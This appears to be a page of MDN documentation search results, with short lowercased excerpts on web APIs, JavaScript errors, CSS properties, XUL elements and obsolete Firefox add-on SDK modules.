... it may have the following values: true, which indicates that the element should be, if possible, checked for spelling errors; false, which indicates that the element should not be checked for spelling errors.
... note: the spellcheck attribute is an enumerated one and not a boolean one.
...And 7 more matches
If-Match - HTTP
WebHTTPHeadersIf-Match
the if-match http request header makes the request conditional.
... for get and head methods, the server will send back the requested resource only if it matches one of the listed etags.
...if a listed etag has the w/ prefix indicating a weak entity tag, it will never match under this comparison algorithm.
...And 7 more matches
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
the javascript warning "javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead" occurs when a for each (variable in obj) statement is used.
... message warning: javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead error type warning what went wrong?
... javascript 1.6's for each (variable in obj) statement is deprecated, and will be removed in the near future.
...And 7 more matches
SyntaxError: illegal character - JavaScript
the javascript exception "illegal character" occurs when there is an invalid or unexpected token that doesn't belong at this position in the code.
... message syntaxerror: invalid character (edge) syntaxerror: illegal character (firefox) syntaxerror: invalid or unexpected token (chrome) error type syntaxerror what went wrong?
...use an editor that supports syntax highlighting and carefully check your code against mismatches like a minus sign ( - ) versus a dash ( – ) or simple quotes ( " ) vs non-standard quotation marks ( “ ).
...And 7 more matches
<switch> - SVG: Scalable Vector Graphics
WebSVGElementswitch
the <switch> svg element evaluates any requiredfeatures, requiredextensions and systemlanguage attributes on its direct child elements in order, and then renders the first child where these attributes evaluate to true.
... other direct children will be bypassed and therefore not rendered.
... if a child element is a container element, like <g>, then its subtree is also processed/rendered or bypassed/not rendered.
...And 7 more matches
private-browsing - Archive of obsolete content
check whether a given object is private, so an add-on can respect private browsing usage per-window private browsing private browsing status is a property of an individual browser window.
... opting into private browsing add-ons built using the sdk must opt into private browsing by setting the following key in their package.json file: "permissions": {"private-browsing": true} if an add-on has not opted in, then the high-level sdk modules will not expose private windows, or objects (such as tabs) that are associated with private windows: the windows module will not list any private browser windows, generate any events for private browser windows, or let the add-on open any private browser windows the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any events for such tabs any ui components will not be displ...
...ayed in private browser windows any menus or menu items created using the context-menu will not be shown in context menus that belong to private browser windows the page-mod module will not attach content scripts to documents belonging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows add-ons that have opted in will see private windows, so they will need to use the private-browsing module to check whether objects are private, so as to avoid storing data derived from such objects.
...And 6 more matches
windows - Archive of obsolete content
with this module, you can: enumerate the currently opened browser windows open new browser windows listen for common window events such as open and close private windows if your add-on has not opted into private browsing, then you won't see any private browser windows.
... converting to chrome windows to convert from the browserwindow objects used in this api to the chrome window objects used in the window/utils api, use the viewfor() function exported by the viewfor module.
... to convert back the other way, from a chrome window to a browserwindow object, use the modelfor() function, exported by the modelfor module.
...And 6 more matches
Getting Started with Firefox Extensions - Archive of obsolete content
extensions add new functionality to mozilla applications such as firefox and thunderbird.
...they allow the application to be customized to fit the personal needs of each user if they need additional features, while keeping the applications small to download.
...this tutorial focuses on extensions for firefox, but the same (or very similar) principles apply to creating extensions for other applications such as thunderbird, seamonkey, and flock.
...And 6 more matches
User Notifications and Alerts - Archive of obsolete content
there's a catch, though: these notifications are inside the current tab, so switching tabs will make a notification disappear.
...this means that these notifications make the most sense when they are related to the page currently being displayed, such as a page trying to install an add-on, or a site you just entered a password on.
... notification boxes are very easy to create, and are very customizable: let nb = gbrowser.getnotificationbox(); let acceptbutton = new object(); let declinebutton = new object(); let message = this._bundle.getstring("xulschoolhello.friendmessage.label"); let that = this; acceptbutton.label = this._bundle.getstring("xulschoolhello.acceptbutton.label"); acceptbutton.accesskey = this._bundle.getstring("xulschoolhello.acceptbutton.accesskey"); acceptbutton.popup = null; acceptbutton.callback = function() { that.acceptrequest(); }; // similarly for decline button.
...And 6 more matches
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
the control itself is implemented in a dll called pluginhostctrl.dll which is standalone from the rest of the mozilla project.
...this 100k activex control contains the entire np api implementation and probably worked much like pluginhostctrl.dll does now.
... the sections below tell you how to fetch, build and use the pluginhostctrl.dll .
...And 6 more matches
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
xpis have a complex structure designed to separate ui layers from each other.
...after that we'll create a contents.rdf file describing the tinderstatus component for the chrome registry and an install.js script to perform the installation.
... finally we'll zip the files into an archive.
...And 6 more matches
Remotely debugging Firefox for Metro - Archive of obsolete content
prerequisites you will need: windows 8 (metro-style) firefox running in the touch-friendly "metro" mode on a windows 8 computer.
... set up firefox for metro go to about:config in firefox for metro, and set the following required preference: devtools.debugger.remote-enabled = true you may also want to set these optional preferences: devtools.debugger.force-local = false (if you want to connect from a different machine over the network) devtools.debugger.remote-host (to change the tcp hostname where firefox will listen for connections) devtools.debugger.remote-port (to change the tcp port number where firefox will listen for connections) devtools.debugger.prompt-connection = false (allow connections without displaying a confirmation prompt.
...open the toolbox, click the "settings" button in the toolbar, and check "enable remote debugging" in the settings tab.
...And 6 more matches
Table Cellmap - Archive of obsolete content
83 union { 84 nstablecellframe* morigcell; 85 long mbits; 86 }; the idea behind this construction is a entry in the cellmap can be either the origin of a row- or colspan (a cell cell without a defined row- or colspan attribute assumes 1 as a default value), or a entry which is only covered by a row- or colspan.
... entries which are a origin have a direct corresponding tablecellframe.
... entries which are only spanned don't have that direct relationship.
...And 6 more matches
browser.type - Archive of obsolete content
the type of browser, which can be used to set access of the document loaded inside the browser.
...more precisely: the document loaded into a chrome window is always of chrome type.
... subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
...And 6 more matches
textbox.type - Archive of obsolete content
search a textbox intended for searching.
...a listener for the command event should update search results.
... if the searchbutton attribute is set to true, the command event is only fired if the user presses the search button or presses the enter key.
...And 6 more matches
findbar - Archive of obsolete content
for example, the standard findbar in firefox 3.5 looks like this on the mac: you may attach a findbar to a particular browser element by either setting the findbar's browserid attribute to the id of the browser element before the findbar element is bound, or by setting the findbar's browser property to the browser element itself.
... attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached.
... matchcaseaccesskey type: string the access key for the "match case" checkbox in the findbar.
...And 6 more matches
Filtering - Archive of obsolete content
« previousnext » adjusting the query sometimes you may wish to change the query at a later time.
...ocument.getelementbyid("cond"); var triple = document.getelementbyid("filtertriple"); if (country) { if (!triple) { triple = document.createelement("triple"); triple.id = "filtertriple"; triple.setattribute("subject", "?photo"); triple.setattribute("predicate", "http://www.xulplanet.com/rdf/country"); } triple.setattribute("object", country); cond.appendchild(triple); } else if (triple) { cond.removechild(triple); } document.getelementbyid("photoslist").builder.rebuild(); } the 'country' argument to the applyfilter function holds the value to filter by.
...naturally, we only want to apply one filter at a time, so we can just reuse the same triple for each filter.
...And 6 more matches
Adding more elements - Archive of obsolete content
first, we will add the capability to search for other information such as the file size and date.
... <hbox> <menulist id="searchtype"> <menupopup> <menuitem label="name"/> <menuitem label="size"/> <menuitem label="date modified"/> </menupopup> </menulist> <spacer style="width: 10px;"/> <menulist id="searchmode"> <menupopup> <menuitem label="is"/> <menuitem label="is not"/> </menupopup> </menulist> <spacer style="width: 10px;"/> <textbox id="find-text" flex="1" style="min-width: 15em;"/> </hbox> two drop down boxes have been added to the dialog.
... a spacer has been added in between each element to separate them.
...And 6 more matches
XBL Inheritance - Archive of obsolete content
the child binding can add properties, methods and event handlers.
... the child binding will have all the features it defines in addition to the features from the binding it inherits from (and any that binding inherits from and so on up the tree).
...for example, the following binding creates a textbox which adds the text 'http://www' to the beginning of its value when the f4 key is pressed.
...And 6 more matches
XUL accessibility tool - Archive of obsolete content
use to launch the tool after installation, look for an entry in the tools menu of the host application, or hit ctrl+alt+shift+f12.
...be aware that the report might take a little while to be ready depending on the complexity of the application being analyzed and the speed of your machine.
... are planned for a future version of the tool: new tests: (aaronlev) warning: hardcoded color and pixel sizings (aaronlev) error: duplicate accesskey in a dialog (already have this for menus) (aaronlev) error: form control without accesskey (aaronlev) warning: accesskey as lowercase letter with descender (underlined g,j,y,q,p are hard to read, not recommended) (aaronandy) list of things to check manually, such as a list oftrees in the document (make sure they have accessible column picker equivs) or a list of toolbarbuttons (make sure they have accessible alternatives).
...And 6 more matches
commandset - Archive of obsolete content
in addition, this element can hold a command updater which is used to update commands when certain events occur.
...typically, this is used to update menu commands such as undo and cut based on when an event occurs.
...you can send a custom event by calling the updatecommands method of the command dispatcher.
...And 6 more matches
description - Archive of obsolete content
if text appears as a child of the description, it will wrap to multiple lines.
... it may contain arbitrary markup, which can be styled as needed.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 6 more matches
image - Archive of obsolete content
ArchiveMozillaXULimage
« xul reference home [ examples | attributes | properties | methods | related ] summary an element that displays an image, much like the html img element.
...if you change the image, the event will fire again when the new image loads.
... validate type: one of the values below this attribute indicates whether to load the image from the cache or not.
...And 6 more matches
stringbundle - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element which can be used to load localized resources from property files.
... a property file is a list of property key-value pairs each on a separate line.
... the "src" attribute accepts only absolute chrome:// urls (see bugs 133698, 26291) attributes src properties applocale , src, stringbundle, strings methods getformattedstring, getstring examples (example needed) attributes src type: uri the uri of the property file that contains the localized strings.
...And 6 more matches
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.builds - october 28th to november 3rd 2006 no such file or directory (build problem on winxp) november 2nd: kenoa complained that when he is compiling using cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he claims that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base from sept.
... originally posted on november 1st: dale dale has set up a windows machine in order to perform mozilla builds but has been unsuccessful to do so.
...he also noted that he has had different results (error messages when compiling) on different machines.
...And 6 more matches
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.tech.layout september 22-29, 2006 announcements no announcements for this week.
...details can be located at layout confusion refactoring the nshtmlreflowstate(computeblockboxdata, initconstraints) and nsimageframe::getdesiredsize which uses ns_inrinsicsize, into the following method: /** * compute the size that a frame will occupy.
... * * @param aavailwidth the available width into which the element is * being placed (i.e., the width of its containing * block).
...And 6 more matches
Plugins - Archive of obsolete content
note: plugins are now a legacy technology.
...if there are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible.
... for more information about plugin roadmap, see non-archived plugin information.
...And 6 more matches
Digital Signatures - Archive of obsolete content
tamper detection and related authentication techniques rely on a mathematical function called a one-way hash (also called a message digest).
... a one-way hash is a number of fixed length with the following characteristics: the value of the hash is unique for the hashed data.
... any change in the data, even deleting or altering a single character, results in a different value.
...And 6 more matches
Making sure your theme works with RTL locales - Archive of obsolete content
gecko 1.9.2 and later gecko 1.9.2 introduced the :-moz-locale-dir css pseudoclass, which matches based on whether the user interface is being rendered left-to-right or right-to-left: :-moz-locale-dir(ltr) matches if the user interface is being rendered left to right.
... :-moz-locale-dir(rtl) matches if the user interface is being rendered right to left.
... gecko 1.9.1 (firefox 3.5) and earlier the chromedir attribute firefox, thunderbird and seamonkey expose an attribute named chromedir on certain elements.
...And 6 more matches
-moz-stack-sizing - Archive of obsolete content
normally, a <xul:stack> will change its size so that all of its child elements are completely visible.
... for example, moving a child of the stack far to the right will widen the stack so the child remains visible.
... /* keyword values */ -moz-stack-sizing: auto; -moz-stack-sizing: ignore; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to prevent the stack from resizing automatically to accommodate its children, you can set -moz-stack-sizing to ignore on the child element.
...And 6 more matches
background-size - Archive of obsolete content
should not the "browser compatibility" table also list google chrome and konqueror?
... chome is not mentioned at all, but is becoming increasingly popular.
... konqueror is listed below the table, which seems inconsistent.
...And 6 more matches
XForms Repeat Element - Archive of obsolete content
for each node in the nodeset, the contents of the repeat element will be displayed in the form.
... attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
... default layout each generated control set is placed vertically.
...And 6 more matches
XForms Select Element - Archive of obsolete content
introduction allows the user to choose one or more selections from a list of pre-defined items (see the spec).
...you can visually group these pre-defined items by using the choices (see the spec) element to contain them.
... attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
...And 6 more matches
XForms Select1 Element - Archive of obsolete content
introduction allows the user to choose a single value from a list of pre-defined values (see the spec).
...you can visually group these pre-defined items by using the choices (see the spec) element to contain them.
... attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
...And 6 more matches
XQuery - Archive of obsolete content
xquery is a w3c standard language which is meant to be for xml what sql is for relational data--i.e., the ability to search, sort, extract, and remold data.
... it offers powerful and yet intuitive searching based on xpath, has sql-like syntax for the query portion, and has scripting features such as function and variable definitions, xml-inclusion, etc.
... xquseme is a working proof-of-concept (so far tested on windows and linux with java installed; mac does not work) extension which allows one to perform xqueries on external urls, the currently loaded webpage (even if originally from poorly formed html), and/or xml (including well-formed xhtml) documents stored locally.
...And 6 more matches
Implementing game control mechanisms - Game development
streamlining cross device differences creates multiple challenges, not least when providing appropriate controls for different contexts.
... in this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads.
...if you're looking for a good introduction to phaser, then check the 2d breakout game using phaser tutorial.
...And 6 more matches
Google Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
google chrome is a free web browser developed by google.
... it's based on the chromium open source project.
... some key differences are described on the chromium wiki.
...And 6 more matches
State machine - MDN Web Docs Glossary: Definitions of Web-related terms
a state machine is a mathematical abstraction used to design algorithms.
... a state machine reads a set of inputs and changes to a different state based on those inputs.
...in a state diagram, circles represent each possible state and arrows represent transitions between states.
...And 6 more matches
Information for Assistive Technology Vendors
information for assistive technology vendors accessibility features in mozilla & call for testers!
... gecko info for windows accessibility vendors mozilla supports msaa (microsoft active accessibility) in html and in our user interface (based on xul technology).
... this makes it possible for the vendors of windows accessibility software, such as screen readers, voice dictation packages and screen magnifiers to provide support for mozilla.
...And 6 more matches
ChromeWorker
there may also be large incompatibilities between implementations and the behavior may change in the future.
... summary if you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
...examples of chromeworker's using js-ctypes are availabe on github and are linked to from the see also section below.
...And 6 more matches
JS_GetStringCharAt
this article covers features introduced in spidermonkey 38 return a specified character from a string.
... syntax bool js_getstringcharat(jscontext *cx, jsstring *str, size_t index, char16_t *res); char16_t js_getflatstringcharat(jsflatstring *str, size_t index); name type description cx jscontext * the context in which to create the new string.
... str jsstring * or jsflatstring * the string to get character.
...And 6 more matches
nsIApplicationCacheNamespace
netwerk/base/public/nsiapplicationcache.idlscriptable this interface represents an application cache namespace.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) application caches can store a set of namespace entries that affect loads from the application cache.
... if a load from the cache fails to match on an exact cache entry, the namespace entries are searched for a substring match.
...And 6 more matches
nsICacheListener
netwerk/cache/nsicachelistener.idlscriptable this interface is a cache listener.
... inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void oncacheentryavailable(in nsicacheentrydescriptor descriptor, in nscacheaccessmode accessgranted, in nsresult status); void oncacheentrydoomed(in nsresult status); methods oncacheentryavailable() this method is called when the requested access (or appropriate subset) is acquired.
...see nsicacheservice for accessgranted values.
...And 6 more matches
characteristic - Web APIs
the bluetoothremotegattdescriptor.characteristic read-only property returns the bluetoothremotegattcharacteristic this descriptor belongs to.
... syntax var characteristic = bluetoothremotegattcharacteristic.characteristic returns an instance of bluetoothremotegattcharacteristic.
... specifications specification status comment web bluetooththe definition of 'characteristic' in that specification.
...And 6 more matches
CacheStorage.delete() - Web APIs
the delete() method of the cachestorage interface finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true.
... if no cache object is found, it resolves to false.
... you can access cachestorage through the global caches property.
...And 6 more matches
CacheStorage.has() - Web APIs
WebAPICacheStoragehas
the has() method of the cachestorage interface returns a promise that resolves to true if a cache object matches the cachename.
... you can access cachestorage through the global caches property.
... syntax caches.has(cachename).then(function(boolean) { // true: your cache exists!
...And 6 more matches
FetchEvent() - Web APIs
the fetchevent() constructor creates a new fetchevent object.
... syntax var fetchevent = new fetchevent(type, init); parameters type a domstring object specifying which event the object represents.
... this is always fetch for fetch events.
...And 6 more matches
FetchEvent.preloadResponse - Web APIs
the preloadresponse read-only property of the fetchevent interface returns a promise that resolves to the navigation preload response if navigation preload was triggered or undefined otherwise.
... syntax var expectedresponse = fetchevent.preloadresponse; value a promise that resolves to a response or otherwise to undefined.
...the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
...And 6 more matches
HashChangeEvent - Web APIs
the hashchangeevent interface represents events that fire when the fragment identifier of the url has changed.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/hashchangeevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="co...
...nsolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">hashchangeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits the properties of its parent, event.
...And 6 more matches
IDBDatabase.onversionchange - Web APIs
the onversionchange event handler of the idbdatabase interface handles the versionchange event, fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested elsewhere (most probably in another window/tab on the same computer).
... this is different from the versionchange transaction (but it is related).
... syntax idbdatabase.onversionchange = function(event) { ...
...And 6 more matches
MerchantValidationEvent - Web APIs
the merchantvalidationevent interface of the the payment request api enables a merchant to verify themselves as allowed to use a particular payment handler.
... to learn more about merchant validation, see merchant validation in payment processing concepts.
... constructor merchantvalidationevent() secure context creates a new merchantvalidationevent object describing a merchantvalidation event that will be sent to the payment handler to request that it validate the merchant.
...And 6 more matches
NodeList.prototype.forEach() - Web APIs
WebAPINodeListforEach
the foreach() method of the nodelist interface calls the callback given in parameter once for each value pair in the list, in insertion order.
... syntax somenodelist.foreach(callback[, thisarg]); parameters callback a function to execute on each element of somenodelist.
... listobj optional the somenodelist that foreach() is being applied to.
...And 6 more matches
ParentNode.childElementCount - Web APIs
the parentnode.childelementcount read-only property returns an unsigned long representing the number of child elements of the given element.
...as this interface contained two distinct set of properties, one aimed at node that have children, one at those that are children, they have been moved into two separate pure interfaces, parentnode and childnode.
... in this case, childelementcount moved to parentnode.
...And 6 more matches
PaymentRequest: paymentmethodchange event - Web APIs
paymentmethodchange events are delivered by the payment request api to a paymentrequest object when the user changes payment methods within a given payment handler.
... for example, if the user switches from one credit card to another on their apple pay account, a paymentmethodchange event is fired to let you know about the change.
... bubbles no cancelable no interface paymentmethodchangeevent event handler property onpaymentmethodchange examples let's take a look at an example.
...And 6 more matches
RTCDataChannel.bufferedAmount - Web APIs
the read-only rtcdatachannel property bufferedamount returns the number of bytes of data currently queued to be sent over the data channel.
... the user agent may implement the process of actually sending data in any way it chooses; this may be done periodically during the event loop or truly asynchronously.
... closing the data channel doesn't reset this count, even though the user agent purges the queued messages.
...And 6 more matches
RTCDataChannel.label - Web APIs
the read-only rtcdatachannel property label returns a domstring containing a name describing the data channel.
... you may use the label as you wish; you could use it to identify all the channels that are being used for the same purpose, by giving them all the same name.
... or you could give each channel a unique label for tracking purposes.
...And 6 more matches
RTCDataChannel.send() - Web APIs
the send() method of the rtcdatachannel interface sends data across the data channel to the remote peer.
... this can be done any time except during the initial process of creating the underlying transport channel.
...this will get less complicated over time, but for now, if you have questions, see understanding message size limits in using webrtc data channels.
...And 6 more matches
RTCDataChannelEvent() - Web APIs
the rtcdatachannelevent() constructor creates a new rtcdatachannelevent.
... you will rarely if ever construct an rtcdatachannelevent by hand; these events are normally created and sent by the webrtc layer itself.
... syntax var event = new rtcdatachannelevent(type, rtcdatachanneleventinit); parameters type a domstring which specifies the name of the event.
...And 6 more matches
SpeechRecognitionAlternative.transcript - Web APIs
the transcript read-only property of the speechrecognitionresult interface returns a string containing the transcript of the recognised word(s).
... for continuous recognition, leading or trailing whitespace will be included where necessary so that concatenation of consecutive speechrecognitionresults produces a proper transcript of the session.
... syntax var mytranscript = speechrecognitionalternativeinstance.transcript; returns a domstring.
...And 6 more matches
SpeechRecognitionAlternative - Web APIs
the speechrecognitionalternative interface of the web speech api represents a single word that has been recognised by the speech recognition service.
... properties speechrecognitionalternative.transcript read only returns a string containing the transcript of the recognised word.
... speechrecognitionalternative.confidence read only returns a numeric estimate of how confident the speech recognition system is that the recognition is correct.
...And 6 more matches
SpeechRecognitionError.error - Web APIs
the error read-only property of the speechrecognitionerror interface returns the type of error raised.
... this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
...the possible error types are: no-speech no speech was detected.
...And 6 more matches
SpeechRecognitionResult - Web APIs
the speechrecognitionresult interface of the web speech api represents a single recognition match, which may contain multiple speechrecognitionalternative objects.
... properties speechrecognitionresult.isfinal read only a boolean that states whether this result is final (true) or not (false) — if so, then this is the final time this result will be returned; if not, then this result is an interim result, and may be updated later on.
... speechrecognitionresult.length read only returns the length of the "array" — the number of speechrecognitionalternative objects contained in the result (also referred to as "n-best alternatives".) methods speechrecognitionresult.item a standard getter that allows speechrecognitionalternative objects within the result to be accessed via array syntax.
...And 6 more matches
SpeechRecognitionResultList - Web APIs
the speechrecognitionresultlist interface of the web speech api represents a list of speechrecognitionresult objects, or a single one if results are being captured in continuous mode.
... properties speechrecognitionresultlist.length read only returns the length of the "array" — the number of speechrecognitionresult objects in the list.
... methods speechrecognitionresultlist.item a standard getter that allows speechrecognitionresult objects in the list to be accessed via array syntax.
...And 6 more matches
SpeechSynthesisErrorEvent.error - Web APIs
the error property of the speechsynthesiserrorevent interface returns an error code indicating what has gone wrong with a speech synthesis attempt.
...possible codes are: canceled a speechsynthesis.cancel method call caused the speechsynthesisutterance to be removed from the queue before it had begun being spoken.
... interrupted a speechsynthesis.cancel method call caused the speechsynthesisutterance to be interrupted after it had begun being spoken and before it completed.
...And 6 more matches
Touch.force - Web APIs
WebAPITouchforce
the touch.force read-only property returns the amount of pressure the user is applying to the touch surface for a touch point.
... syntax touchitem.force; return value a float that represents the amount of pressure the user is applying to the touch surface.
...a value of 0.0 is returned if no value is known (for example the touch device does not support this property).
...And 6 more matches
Supporting both TouchEvent and MouseEvent - Web APIs
the touch interfaces enable applications to create enhanced user experiences on touch enabled devices.
...consequently, even if a browser supports touch, the browser must still emulate mouse events so content that assumes mouse-only input will work as is without direct modification.
... ideally, a touch-based application does not need to explicitly address mouse input.
...And 6 more matches
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
the window interface's matchmedia() method returns a new mediaquerylist object that can then be used to determine if the document matches the media query string, as well as to monitor the document to detect when it matches (or stops matching) that media query.
... syntax mqlist = window.matchmedia(mediaquerystring) parameters mediaquerystring a string specifying the media query to parse into a mediaquerylist.
...use this object's properties and events to detect matches and to monitor for changes to those matches over time.
...And 6 more matches
XRInputSourcesChangeEvent - Web APIs
the webxr device api interface xrinputsourceschangeevent is used to represent the inputsourceschange event sent to an xrsession when the set of available webxr input controllers changes.
... constructor xrinputsourceschangeevent() creates and returns a new xrinputsourceschangeevent object configured as indicated by the given xrinputsourceschangeeventinit object.
... the specified type must be inputsourceschange, which is the only event that uses this interface.
...And 6 more matches
offset-anchor - CSS: Cascading Style Sheets
the offset-anchor css property specifies the point inside the box of an element travelling along an offset-path that is actually moving along the path.
... syntax /* keyword values */ offset-anchor: top; offset-anchor: bottom; offset-anchor: left; offset-anchor: right; offset-anchor: center; offset-anchor: auto; /* <percentage> values */ offset-anchor: 25% 75%; /* <length> values */ offset-anchor: 0 0; offset-anchor: 1cm 2cm; offset-anchor: 10ch 8em; /* edge offsets values */ offset-anchor: bottom 10px right 20px; offset-anchor: right 3em bottom 10px; /* global values */ offset-anchor: inherit; offset-anchor: initial; offset-anchor: unset; values auto offset-anchor is given the same value as the element's transform-origin, unless offset-path is none, in which case it takes its value from offset-position.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting various offset-anchor values in the following example, we have three <div> elements nested in <section> elements.
...And 6 more matches
regexp:match() - EXSLT
WebEXSLTregexpmatch
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes regexp:match() performs regular expression matching on a string, returning the submatches found as a result.
... syntax regexp:match(targetstring, regexpstring[, flagsstring]) parameters targetstring the string to perform regular expression matching upon.
... flagsstringoptional an optional string containing character flags.
...And 6 more matches
RegExp.prototype[@@match]() - JavaScript
the [@@match]() method retrieves the matches when matching a string against a regular expression.
... syntax regexp[symbol.match](str) parameters str a string that is a target of the match.
... return value an array containing the entire match result and any parentheses-captured matched results, or null if there were no matches.
...And 6 more matches
RegExp.prototype[@@search]() - JavaScript
the [@@search]() method executes a search for a match between a this regular expression and a string.
... syntax regexp[symbol.search](str) parameters str a string that is a target of the search.
... return value integer if successful, [@@search]() returns the index of the first match of the regular expression inside the string.
...And 6 more matches
Planned changes to shared memory - JavaScript
there is standardization work ongoing that enables developers to create sharedarraybuffer objects again, but changes are needed in order to be use these across threads (i.e., postmessage() for sharedarraybuffer objects throws by default).
... these changes provide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory.
... chrome intends to implement similar restrictions.
...And 6 more matches
SDK API Lifecycle - Archive of obsolete content
developers using the sdk's apis need to know how far they can trust that a given api will not change in future releases.
...it has two main components: a stability index that defines how stable each module is a deprecation process that defines when and how stable sdk apis can be changed or removed from future versions of the sdk while giving developers enough time to update their code.
...you can try it out and provide feedback, but we may change or remove it in future versions without having to pass through a formal deprecation process.
...And 5 more matches
self - Archive of obsolete content
note that the self module is completely different from the global self object accessible to content scripts, which is used by a content script to communicate with the add-on code.
...this uri can be used for apis which require a valid uri string, such as the passwords module.
... id this property is a printable string that is unique for each add-on.
...And 5 more matches
io/text-streams - Archive of obsolete content
open(filename, "r"); if (!textreader.closed) { text = textreader.read(); textreader.close(); } } return text; } function writetexttofile(text, filename) { var fileio = require("sdk/io/file"); var textwriter = fileio.open(filename, "w"); if (!textwriter.closed) { textwriter.write(text); textwriter.close(); } } globals constructors textreader(inputstream, charset) creates a buffered input stream that reads text from a backing stream using a given text encoding.
... charset : string inputstream is expected to be in the character encoding named by this value.
...see nsicharsetconvertermanager.idl for documentation on how to determine other valid values for this.
...And 5 more matches
preferences/service - Archive of obsolete content
example: var name = "extensions.checkcompatibility.nightly"; require("sdk/preferences/service").set(name, false); get(name, defaultvalue) gets the application preference name.
... example: var name = "extensions.checkcompatibility.nightly"; var nightlycompatchk = require("sdk/preferences/service").get(name); has(name) parameters name : string preference name.
... defaultvalue example: var name = "extensions.checkcompatibility.nightly"; if (require("sdk/preferences/service").has(name)) { // ...
...And 5 more matches
Release notes - Archive of obsolete content
"./my-file" introduced everywhere as an alias for require("sdk/self").data.url("my-file") added the ability to attach stylesheets to individual tabs.
... added a browserwindow parameter to sidebar.show() and sidebar.hide(), to control the window for which the sidebar will be shown or hidden.
... add-on debugger now includes a console and a scratchpad.
...And 5 more matches
Adding a Button to the Toolbar - Archive of obsolete content
the id attribute is mandatory, and is used to remember the position of the button, so you should not change it in subsequent versions of the add-on.
...if you specify a collection of icons in different sizes the browser will automatically choose the best fit for the screen resolution and the place in the browser ui that hosts the button.
... you can change the icon at any time by setting the button's icon property.
...And 5 more matches
Creating Event Targets - Archive of obsolete content
these apis are still in active development, and we expect to make incompatible changes to them in future releases.
...then open "index.js" and add the following code: var {cc, ci} = require("chrome"); var { xpcomutils } = require("resource://gre/modules/xpcomutils.jsm"); var bookmarkservice = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); var bookmarkobserver = { onitemadded: function(aitemid, afolder, aindex) { console.log("added ", bookmarkservice.getbookmarkuri(aitemid).spec); }, onitemvisited: function(...
... create a new file in "lib" called "bookmarks.js", and add the following code: var { emit, on, once, off } = require("sdk/event/core"); var {cc, ci} = require("chrome"); var { xpcomutils }= require("resource://gre/modules/xpcomutils.jsm"); var bookmarkservice = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); var bookmarkobserver = { onitemadded: function(aitemid, afolder, aindex) { emit(exports, "added", bookmarkservice.getbookmarkuri(aitemid).spec); }, onitemvisited: function(...
...And 5 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
to modify the page hosted by a particular tab, load one or more content scripts into it using attach() method of tab object.
